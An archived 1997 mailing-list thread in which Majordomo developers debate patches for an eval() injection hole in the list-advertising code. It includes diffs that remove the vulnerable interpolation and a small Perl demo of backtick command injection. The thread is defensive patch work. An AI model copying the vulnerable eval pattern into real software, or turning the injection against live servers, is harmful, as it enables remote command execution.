Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "DW" == Dave Wolfe writes: DW> Both of which disallow perfectly valid characters from reply DW> addresses. But it doesn't matter, really, because we're only using the munged address to compare against. I suppose you could have an advertise rule that shows the list of the username contains a tilde, but, well, you can't allow everything. DW> This is the wrong approach. It's simpler to just change the DW> quoting delimiter that's the basis of the attack. I think that ASCII DW> control characters (0x00 .. 0x1f) are invalid in e-mail addresses, but DW> can anyone confirm this? No, they are not. Currently. But anything which relies upon a coincidence of the quote character not being in the address is doomed eventually. (What if you're fed an invalid reply-to? It still may be transmitted to you in 8 bit, even though it's not legal.) The only way to do this reliably is to forcibly remove the quote character. I chose to remove the backtick and forward slash as well. I posted my patch two days ago on majordomo-users; I'm not sure why this is just being discussed now. - J< From owner-majordomo-workers-outgoing Tue Aug 26 12:13:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA21343 for majordomo-workers-outgoing; Tue, 26 Aug 1997 12:07:55 -0700 (PDT) Received: from laplaza.org (laplaza.org [204.151.72.2]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id MAA21324 for ; Tue, 26 Aug 1997 12:07:46 -0700 (PDT) Received: from zeos by laplaza.org via SMTP (940816.SGI.8.6.9/940406.SGI.AUTO) for id NAA04872; Tue, 26 Aug 1997 13:09:34 -0600 Message-Id: <3.0.1.32.19970826130807.00826160@laplaza.org> X-Sender: mats@laplaza.org X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Tue, 26 Aug 1997 13:08:07 -0600 To: majordomo-workers@greatcircle.com From: Mats Wichmann Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] In-Reply-To: <199708261835.NAA14454@miaow.risc.sps.mot.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk At 01:35 PM 8/26/97 -0500, Dave Wolfe wrote: >The root cause of the problem is that the reply address is used within >an eval() in the do_lists() function of majordomo. The perl "taint" checks should catch such a usage. Is it possible to run MD in taint-check mode? From owner-majordomo-workers-outgoing Tue Aug 26 12:44:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA25187 for majordomo-workers-outgoing; Tue, 26 Aug 1997 12:26:49 -0700 (PDT) Received: from windlord.stanford.edu (windlord.Stanford.EDU [36.21.0.44]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id MAA25084 for ; Tue, 26 Aug 1997 12:26:11 -0700 (PDT) Received: (qmail 7366 invoked by uid 500); 26 Aug 1997 19:30:40 -0000 To: majordomo-workers@greatcircle.com Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] References: <3.0.1.32.19970826130807.00826160@laplaza.org> From: Russ Allbery In-Reply-To: Mats Wichmann's message of Tue, 26 Aug 1997 13:08:07 -0600 Date: 26 Aug 1997 12:30:40 -0700 Message-ID: Lines: 14 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Mats Wichmann writes: > At 01:35 PM 8/26/97 -0500, Dave Wolfe wrote: >> The root cause of the problem is that the reply address is used within >> an eval() in the do_lists() function of majordomo. > The perl "taint" checks should catch such a usage. Is it possible to > run MD in taint-check mode? The current implementation, no. I believe that's one of the major things which will be added in the current in-progress rewrite. -- Russ Allbery (rra@stanford.edu) From owner-majordomo-workers-outgoing Tue Aug 26 13:43:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA03626 for majordomo-workers-outgoing; Tue, 26 Aug 1997 13:13:01 -0700 (PDT) Received: from hyperreal.org (taz.hyperreal.org [204.62.130.147]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id NAA03598 for ; Tue, 26 Aug 1997 13:12:39 -0700 (PDT) Received: from brianb.organic.com (localhost.hyperreal.com [127.0.0.1]) by hyperreal.org (8.8.5/8.8.5) with SMTP id NAA02088; Tue, 26 Aug 1997 13:16:52 -0700 (PDT) Message-Id: <3.0.3.32.19970826131612.008b7210@hyperreal.org> X-Sender: brian@hyperreal.org X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Tue, 26 Aug 1997 13:16:12 -0700 To: Jason L Tibbitts III , majordomo-workers@GreatCircle.COM From: Brian Behlendorf Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] In-Reply-To: References: <199708261452.JAA14616@miaow.risc.sps.mot.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk At 01:54 PM 8/26/97 -0500, Jason L Tibbitts III wrote: >I posted my patch two days ago on majordomo-users; I'm not sure why this is >just being discussed now. My apologies, I'm not on -users and I couldn't find any public archives through . Could you forward it here? Is this considered the "official" patch? I'm surprised the vulnerability would be posted without coordinating with the developers first. Brian --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-- "Why not?" - TL brian@organic.com - hyperreal.org - apache.org From owner-majordomo-workers-outgoing Tue Aug 26 13:47:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA09317 for majordomo-workers-outgoing; Tue, 26 Aug 1997 13:41:28 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id NAA09303 for ; Tue, 26 Aug 1997 13:41:20 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA25203; Tue, 26 Aug 1997 15:45:48 -0500 (CDT) To: Brian Behlendorf Cc: majordomo-workers@GreatCircle.COM Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] References: <199708261452.JAA14616@miaow.risc.sps.mot.com> <3.0.3.32.19970826131612.008b7210@hyperreal.org> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 26 Aug 1997 15:45:47 -0500 In-Reply-To: Brian Behlendorf's message of Tue, 26 Aug 1997 13:16:12 -0700 Message-ID: Lines: 52 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BB" == Brian Behlendorf writes: BB> My apologies, I'm not on -users and I couldn't find any public archives BB> through . That's because, like the -workers archives, they're at . BB> Could you forward it here? Sure. It's at the bottom. Don't trust it or anything; I produced it about ten minutes after I heard about the vulnerability. It just includes whats already in the other patches I've seen, plus a couple of other things. BB> Is this considered the "official" patch? Not at all. That's for Chan to say. BB> I'm surprised the vulnerability would be posted without coordinating BB> with the developers first. Why does this surprise you? People expose security holes like that all the time. - J< --- majordomo.orig Thu Jun 12 19:25:11 1997 +++ majordomo Mon Aug 25 00:46:51 1997 @@ -1190,8 +1190,23 @@ sub do_lists { # Tell the requester what lists we serve local($list); + + # Thwart attempts to exploit the path or other goodies. + local %ENV; + %ENV = (); + local($command_advert, $command_noadvert); + + # Extract the address we're matching advertise rules against local($reply_addr) = &ParseAddrs($reply_to); + + # Squash some special address characters that, while legal, can be used + # to abuse us. + $reply_addr =~ s![~`/]!!g; + + # Trim off everything before the @ sign, so we're just comparing the + # domain. + $reply_addr =~ s/(.*)\@(.*)/\@$2/; select((select(REPLY), $| = 1)[0]); From owner-majordomo-workers-outgoing Tue Aug 26 15:43:59 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA21403 for majordomo-workers-outgoing; Tue, 26 Aug 1997 14:44:43 -0700 (PDT) Received: from waste.org (waste.org [38.225.68.2]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id OAA21265 for ; Tue, 26 Aug 1997 14:44:15 -0700 (PDT) Received: by waste.org id <75586-30451>; Tue, 26 Aug 1997 16:48:32 -0500 Date: Tue, 26 Aug 1997 16:48:19 -0500 (CDT) From: Oliver Xymoron Reply-To: Oliver Xymoron To: Jason L Tibbitts III cc: Brian Behlendorf , majordomo-workers@GreatCircle.COM Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 26 Aug 1997, Jason L Tibbitts III wrote: > Sure. It's at the bottom. Don't trust it or anything; I produced it about > ten minutes after I heard about the vulnerability. It just includes whats > already in the other patches I've seen, plus a couple of other things. ... > + # Thwart attempts to exploit the path or other goodies. > + local %ENV; > + %ENV = (); I like this, however.. > + > local($command_advert, $command_noadvert); > + > + # Extract the address we're matching advertise rules against > local($reply_addr) = &ParseAddrs($reply_to); > + > + # Squash some special address characters that, while legal, can be used > + # to abuse us. > + $reply_addr =~ s![~`/]!!g; As the patch I sent earlier shows, this can be avoided with proper quoting. What we really want is to execute the code ($reply_addr ~= /some_reg_ex/) not ("some@address" ~= /some_reg_ex/) This is simply a matter of proper quoting - we can avoid expanding $reply_addr by putting it in single quotes and have no risk of its contents being evaluated. Note, we still are trusting the regular expressions that the list-owner put in the config file. This can be avoided too by writing command as: $i =~ s~^/(.*)/$~$1~; # $i contains a regular expression - remove slashes $command = '($reply_addr =~ /$i/)'; I'll add this to my patch and append it at the bottom. Happily there are only two evals in this module. > + # Trim off everything before the @ sign, so we're just comparing the > + # domain. I don't like this - I've got advertise expressions that care what the user name is. --- majordomo-pre-list-fix Tue Aug 26 14:11:07 1997 +++ majordomo Tue Aug 26 16:39:41 1997 @@ -1374,7 +1374,8 @@ if ($'config_opts{$list, 'advertise'} ne '') { @array = split(/\001/,$'config_opts{$list, 'advertise'}); foreach $i (@array) { - $command = "(q~$reply_addr~ =~ $i)"; + $i=~ s~^/(.*)/$~$1~; + $command = '($reply_addr =~ /$i/)'; $result = 1, last if (eval $command); } } else { $result = 1; } @@ -1384,8 +1385,9 @@ @array = split(/\001/,$'config_opts{$list, 'noadvertise'}); foreach $i (@array) { - $command = "(q~$reply_addr~ =~ $i)"; - $result = 0, last if (eval $command); + $i=~ s~^/(.*)/$~$1~; + $command = '($reply_addr =~ /$i/)'; + $result = 0, last if (eval $command); } } -- "Love the dolphins," she advised him. "Write by W.A.S.T.E.." From owner-majordomo-workers-outgoing Tue Aug 26 15:58:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA04030 for majordomo-workers-outgoing; Tue, 26 Aug 1997 15:47:53 -0700 (PDT) Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id PAA03846 for ; Tue, 26 Aug 1997 15:47:01 -0700 (PDT) Received: from mail.cis.ohio-state.edu by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id OAA03806; Tue, 26 Aug 1997 14:49:48 -0700 (PDT) Received: from stumble.cis.ohio-state.edu (stumble.cis.ohio-state.edu [164.107.128.12]) by mail.cis.ohio-state.edu (8.6.7/8.6.4) with ESMTP id RAA21150 for ; Tue, 26 Aug 1997 17:54:26 -0400 Message-Id: <199708262154.RAA21150@mail.cis.ohio-state.edu> To: majordomo-workers@GreatCircle.COM Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] In-reply-to: Your message of "26 Aug 1997 15:45:47 CDT." References: <199708261452.JAA14616@miaow.risc.sps.mot.com> <3.0.3.32.19970826131612.008b7210@hyperreal.org> X-Face: $+9-wYg.[->94HJ{go[7Q]E!K&hUg7ZhLyCMyq_FU*ca0GazE>^/2BKLcK0bP-'%;Nn?M+am,jlSP>1K$iz@ %'v'FEW{@](U&Ed/}>ju3Ctlr!XwJ27Q)7h2a%"`sz;j:/3EC[mXi@*X@HE1]'ddq$ZX"ePsMyTkeg >zdML.SVvX1W`adGIUD Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 26 Aug 1997 17:54:26 -0400 From: Dave Barr Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk In message , Jason L Tibbitts III writes: >+ # Squash some special address characters that, while legal, can be used >+ # to abuse us. >+ $reply_addr =~ s![~`/]!!g; I don't agree with these sorts of changes. Fix the code so it never invokes the shell, and you stop everything at the source. --Dave From owner-majordomo-workers-outgoing Tue Aug 26 16:43:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA11813 for majordomo-workers-outgoing; Tue, 26 Aug 1997 16:30:00 -0700 (PDT) Received: from ncr-sd.SanDiegoCA.NCR.COM (h153-64-252-2.NCR.COM [153.64.252.2]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id QAA11805 for ; Tue, 26 Aug 1997 16:29:51 -0700 (PDT) Received: from bill-houle (bill-houle.SanDiegoCA.NCR.COM [153.64.69.200]) by ncr-sd.SanDiegoCA.NCR.COM (8.8.5/8.7.3) with SMTP id QAA28393 for ; Tue, 26 Aug 1997 16:34:28 -0700 (PDT) Message-Id: <3.0.32.19970826163150.00954ae0@www.sandiegoca.ncr.com> X-Sender: bhoule@www.sandiegoca.ncr.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 26 Aug 1997 16:39:49 -0700 To: majordomo-workers@greatcircle.com From: Bill Houle Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk So who's the final arbiter for this? (Is it Chan?) I've seen several patches and even more followup suggestions, so my head is spinning. I think Dave's is the only one I've seen that allows testing the lefthand side of the regexp *and* supports RE modifiers, but I've lost track. --bill From owner-majordomo-workers-outgoing Tue Aug 26 21:28:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA26729 for majordomo-workers-outgoing; Tue, 26 Aug 1997 21:25:25 -0700 (PDT) Received: from hyperreal.org (taz.hyperreal.org [204.62.130.147]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id VAA26713 for ; Tue, 26 Aug 1997 21:25:18 -0700 (PDT) Received: from brianb.organic.com (localhost.hyperreal.com [127.0.0.1]) by hyperreal.org (8.8.5/8.8.5) with SMTP id VAA19161; Tue, 26 Aug 1997 21:29:51 -0700 (PDT) Message-Id: <3.0.3.32.19970826212400.0087cdd0@hyperreal.org> X-Sender: brian@hyperreal.org X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Tue, 26 Aug 1997 21:24:00 -0700 To: Jason L Tibbitts III From: Brian Behlendorf Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] Cc: majordomo-workers@GreatCircle.COM In-Reply-To: References: <199708261452.JAA14616@miaow.risc.sps.mot.com> <3.0.3.32.19970826131612.008b7210@hyperreal.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk At 03:45 PM 8/26/97 -0500, Jason L Tibbitts III wrote: >>>>>> "BB" == Brian Behlendorf writes: > >BB> My apologies, I'm not on -users and I couldn't find any public archives >BB> through . > >That's because, like the -workers archives, they're at >. Might be a good thing to add to the FAQ... >BB> I'm surprised the vulnerability would be posted without coordinating >BB> with the developers first. > >Why does this surprise you? People expose security holes like that all the >time. Far more professional is to contact the developers and wait for a patch to be available before making the announcement. Yes, this can be a religious issue, and the developers simply *must* be on the ball and respond quickly, but the last few times this has happened with Apache we've generally made a patch available *and* rolled a new release within 12 hours, and in our opinion that was a Good Thing. Anyways, my majordomo is now patched thanks to comments here, so I'm happy :) Brian --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-- "Why not?" - TL brian@organic.com - hyperreal.org - apache.org From owner-majordomo-workers-outgoing Wed Aug 27 06:28:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA05125 for majordomo-workers-outgoing; Wed, 27 Aug 1997 06:15:54 -0700 (PDT) Received: from eugate.sgi.com (eugate.sgi.com [193.73.159.10]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id GAA05092 for ; Wed, 27 Aug 1997 06:15:39 -0700 (PDT) Received: from slurp.neu.sgi.com (slurp.neu.sgi.com [144.253.130.8]) by eugate.sgi.com (8.8.4/970417-sgi-europehub) via ESMTP id PAA06043; Wed, 27 Aug 1997 15:20:12 +0200 (MDT) env-from (cwilson@slurp.neu.sgi.com) Received: from localhost by slurp.neu.sgi.com via SMTP (970321.SGI.8.8.5/911001.SGI) id PAA531381; Wed, 27 Aug 1997 15:20:06 +0200 (MDT) Message-Id: <199708271320.PAA531381@slurp.neu.sgi.com> To: Bill Houle cc: majordomo-workers@greatcircle.com Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] In-reply-to: Your message of "Tue, 26 Aug 1997 16:39:49 PDT." <3.0.32.19970826163150.00954ae0@www.sandiegoca.ncr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Date: Wed, 27 Aug 1997 15:20:06 +0200 From: Chan Wilson Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk > So who's the final arbiter for this? (Is it Chan?) I've seen several > patches and even more followup suggestions, so my head is spinning. I think > Dave's is the only one I've seen that allows testing the lefthand side of > the regexp *and* supports RE modifiers, but I've lost track. I've looked over all the solutions and played with a few of my own, and Dave's is the best, barring some unforseen problem. It still has the eval there, but it does avoid the problem entirely. I'll take it and roll in the other .3 patches, creating a .4 release. --Chan From owner-majordomo-workers-outgoing Wed Aug 27 06:59:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA06356 for majordomo-workers-outgoing; Wed, 27 Aug 1997 06:24:47 -0700 (PDT) Received: from mail.cis.ohio-state.edu (mail.cis.ohio-state.edu [164.107.8.55]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id GAA06308 for ; Wed, 27 Aug 1997 06:24:35 -0700 (PDT) Received: from stumble.cis.ohio-state.edu (stumble.cis.ohio-state.edu [164.107.128.12]) by mail.cis.ohio-state.edu (8.6.7/8.6.4) with ESMTP id JAA10946 for ; Wed, 27 Aug 1997 09:29:02 -0400 Message-Id: <199708271329.JAA10946@mail.cis.ohio-state.edu> To: majordomo-workers@GreatCircle.COM Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] In-reply-to: Your message of "Tue, 26 Aug 1997 21:24:00 PDT." <3.0.3.32.19970826212400.0087cdd0@hyperreal.org> References: <199708261452.JAA14616@miaow.risc.sps.mot.com> <3.0.3.32.19970826131612.008b7210@hyperreal.org> <3.0.3.32.19970826212400.0087cdd0@hyperreal.org> X-Face: $+9-wYg.[->94HJ{go[7Q]E!K&hUg7ZhLyCMyq_FU*ca0GazE>^/2BKLcK0bP-'%;Nn?M+am,jlSP>1K$iz@ %'v'FEW{@](U&Ed/}>ju3Ctlr!XwJ27Q)7h2a%"`sz;j:/3EC[mXi@*X@HE1]'ddq$ZX"ePsMyTkeg >zdML.SVvX1W`adGIUD Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 27 Aug 1997 09:29:00 -0400 From: Dave Barr Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk In message <3.0.3.32.19970826212400.0087cdd0@hyperreal.org>, Brian Behlendorf w rites: >>That's because, like the -workers archives, they're at >>. > >Might be a good thing to add to the FAQ... Um. That's been in the FAQ for months. --Dave From owner-majordomo-workers-outgoing Wed Aug 27 06:59:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA05975 for majordomo-workers-outgoing; Wed, 27 Aug 1997 06:22:01 -0700 (PDT) Received: from spsem02.sps.mot.com ([192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id GAA05954 for ; Wed, 27 Aug 1997 06:21:53 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA26349 for majordomo-workers@GreatCircle.COM; Wed, 27 Aug 97 06:26:32 MST Received: from nombre.risc.sps.mot.com by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA11582 for majordomo-workers@GreatCircle.COM; Wed, 27 Aug 97 06:26:31 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by nombre.risc.sps.mot.com (8.8.7/8.8.7) with ESMTP id IAA17873; Wed, 27 Aug 1997 08:26:28 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id IAA14666; Wed, 27 Aug 1997 08:26:28 -0500 From: Dave Wolfe Message-Id: <199708271326.IAA14666@miaow.risc.sps.mot.com> Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] To: oxymoron@waste.org Date: Wed, 27 Aug 1997 08:26:28 -0500 (CDT) Cc: tibbs@hpc.uh.edu, brian@hyperreal.org, majordomo-workers@GreatCircle.COM In-Reply-To: from "Oliver Xymoron" at Aug 26, 97 04:48:19 pm Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk [ Oliver Xymoron writes: ] > > On 26 Aug 1997, Jason L Tibbitts III wrote: > > > + # Squash some special address characters that, while legal, can be used > > + # to abuse us. > > + $reply_addr =~ s![~`/]!!g; > > As the patch I sent earlier shows, this can be avoided with proper > quoting. What we really want is to execute the code > > ($reply_addr ~= /some_reg_ex/) > > not > > ("some@address" ~= /some_reg_ex/) > > This is simply a matter of proper quoting - we can avoid expanding > $reply_addr by putting it in single quotes and have no risk of its > contents being evaluated. You missed the point of the hack: the reply address *is* in "single quotes" (~ in this case) but it contains the quote character, which exposes part of the reply address to evaluation. That's why even doing things like removing backticks is ineffective. Removing the quote character from the address works, but at the cost of corrupting the address and thereby reducing the effectiveness of the test. One could play games with finding a quote character that isn't in the reply address but it's easier to do what my patch does and remove the reply address from evaluation entirely by using implicit regex binding to the $_ variable. > Note, we still are trusting the regular expressions that the > list-owner put in the config file. This can be avoided too by writing > command as: > > $i =~ s~^/(.*)/$~$1~; # $i contains a regular expression - remove slashes > $command = '($reply_addr =~ /$i/)'; As I said before, you have *no* assurance that '/' is the regex delimiter and this action doesn't allow regex modifiers. The regexes have already been validated by grab_regexp_array(), so this is completely unnecessary. -- Dave Wolfe From owner-majordomo-workers-outgoing Wed Aug 27 06:59:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA09276 for majordomo-workers-outgoing; Wed, 27 Aug 1997 06:49:38 -0700 (PDT) Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id GAA09021 for ; Wed, 27 Aug 1997 06:48:33 -0700 (PDT) Received: from spsem02.sps.mot.com by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id GAA08610; Wed, 27 Aug 1997 06:35:24 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA27621 for majordomo-workers@GreatCircle.COM; Wed, 27 Aug 97 06:40:06 MST Received: from risc.risc.sps.mot.com (risc.sps.mot.com) by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA11955 for majordomo-workers@GreatCircle.COM; Wed, 27 Aug 97 06:40:03 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by risc.risc.sps.mot.com (8.8.7/8.8.7) with ESMTP id IAA07344; Wed, 27 Aug 1997 08:40:02 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id IAA14666; Wed, 27 Aug 1997 08:26:28 -0500 From: Dave Wolfe Message-Id: <199708271326.IAA14666@miaow.risc.sps.mot.com> Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] To: oxymoron@waste.org Date: Wed, 27 Aug 1997 08:26:28 -0500 (CDT) Cc: tibbs@hpc.uh.edu, brian@hyperreal.org, majordomo-workers@GreatCircle.COM In-Reply-To: from "Oliver Xymoron" at Aug 26, 97 04:48:19 pm Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk [ Oliver Xymoron writes: ] > > On 26 Aug 1997, Jason L Tibbitts III wrote: > > > + # Squash some special address characters that, while legal, can be used > > + # to abuse us. > > + $reply_addr =~ s![~`/]!!g; > > As the patch I sent earlier shows, this can be avoided with proper > quoting. What we really want is to execute the code > > ($reply_addr ~= /some_reg_ex/) > > not > > ("some@address" ~= /some_reg_ex/) > > This is simply a matter of proper quoting - we can avoid expanding > $reply_addr by putting it in single quotes and have no risk of its > contents being evaluated. You missed the point of the hack: the reply address *is* in "single quotes" (~ in this case) but it contains the quote character, which exposes part of the reply address to evaluation. That's why even doing things like removing backticks is ineffective. Removing the quote character from the address works, but at the cost of corrupting the address and thereby reducing the effectiveness of the test. One could play games with finding a quote character that isn't in the reply address but it's easier to do what my patch does and remove the reply address from evaluation entirely by using implicit regex binding to the $_ variable. > Note, we still are trusting the regular expressions that the > list-owner put in the config file. This can be avoided too by writing > command as: > > $i =~ s~^/(.*)/$~$1~; # $i contains a regular expression - remove slashes > $command = '($reply_addr =~ /$i/)'; As I said before, you have *no* assurance that '/' is the regex delimiter and this action doesn't allow regex modifiers. The regexes have already been validated by grab_regexp_array(), so this is completely unnecessary. -- Dave Wolfe From owner-majordomo-workers-outgoing Wed Aug 27 09:58:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA07812 for majordomo-workers-outgoing; Wed, 27 Aug 1997 09:45:39 -0700 (PDT) Received: from waste.org (waste.org [38.225.68.2]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id JAA07774 for ; Wed, 27 Aug 1997 09:45:27 -0700 (PDT) Received: by waste.org id <75577-30449>; Wed, 27 Aug 1997 11:49:48 -0500 Date: Wed, 27 Aug 1997 11:49:44 -0500 (CDT) From: Oliver Xymoron Reply-To: Oliver Xymoron To: Dave Wolfe cc: tibbs@hpc.uh.edu, brian@hyperreal.org, majordomo-workers@GreatCircle.COM Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] In-Reply-To: <199708271326.IAA14666@miaow.risc.sps.mot.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Wed, 27 Aug 1997, Dave Wolfe wrote: > [ Oliver Xymoron writes: ] > > As the patch I sent earlier shows, this can be avoided with proper > > quoting. What we really want is to execute the code > > > > ($reply_addr ~= /some_reg_ex/) > > > > not > > > > ("some@address" ~= /some_reg_ex/) > > > > This is simply a matter of proper quoting - we can avoid expanding > > $reply_addr by putting it in single quotes and have no risk of its > > contents being evaluated. > > You missed the point of the hack: the reply address *is* in "single > quotes" (~ in this case) but it contains the quote character, which > exposes part of the reply address to evaluation. Consider this code snippet: ---- $foo='`echo foo > /dev/tty`'; $pattern='/foo/'; $dumbcommand = "($foo =~ $pattern)"; $smartcommand = "(\$foo =~ $pattern)"; print "Dumb: $dumbcommand\n"; eval $dumbcommand; print "Smart: $smartcommand\n"; eval $smartcommand; ---- Output: Dumb: (`echo foo > /dev/tty` =~ /foo/) foo Smart: ($foo =~ /foo/) Note the second method _never exposes the content of foo to the evaluator_. When I say it's a matter of quoting, it's a matter of avoiding the expansion of $foo in the command string. The contents of $foo no longer matter - no need to filter it at all. Dealing with the pattern is a little bit more complicated than I originally proposed but probably still doable: # take the first character for regexp quote $i=~ /^(.)/; $quotechar=$1; # extract everything between it and the last matching quote into a string # and extract the regexp modifiers $i=~ /$quotechar(.*)$quotechar(.*)/; $pat=$1; $mod=$2; # reduce the modifiers to valid characters (do we need o?) $mod=~ s/[^io]//; # construct a command string which does not expand $reply_addr or $pat # do expand mod - it can only contain i or o. $command="(\$reply_addr =~ /\$foo/$mod)"; -- "Love the dolphins," she advised him. "Write by W.A.S.T.E.." From owner-majordomo-workers-outgoing Wed Aug 27 11:44:47 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA21791 for majordomo-workers-outgoing; Wed, 27 Aug 1997 11:08:04 -0700 (PDT) Received: from hyperreal.org (taz.hyperreal.org [204.62.130.147]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id LAA21691 for ; Wed, 27 Aug 1997 11:07:41 -0700 (PDT) Received: from brianb.organic.com (localhost.hyperreal.com [127.0.0.1]) by hyperreal.org (8.8.5/8.8.5) with SMTP id LAA21616; Wed, 27 Aug 1997 11:12:07 -0700 (PDT) Message-Id: <3.0.3.32.19970827111128.008b7150@hyperreal.org> X-Sender: brian@hyperreal.org X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Wed, 27 Aug 1997 11:11:28 -0700 To: Dave Barr , majordomo-workers@GreatCircle.COM From: Brian Behlendorf Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] In-Reply-To: <199708271329.JAA10946@mail.cis.ohio-state.edu> References: 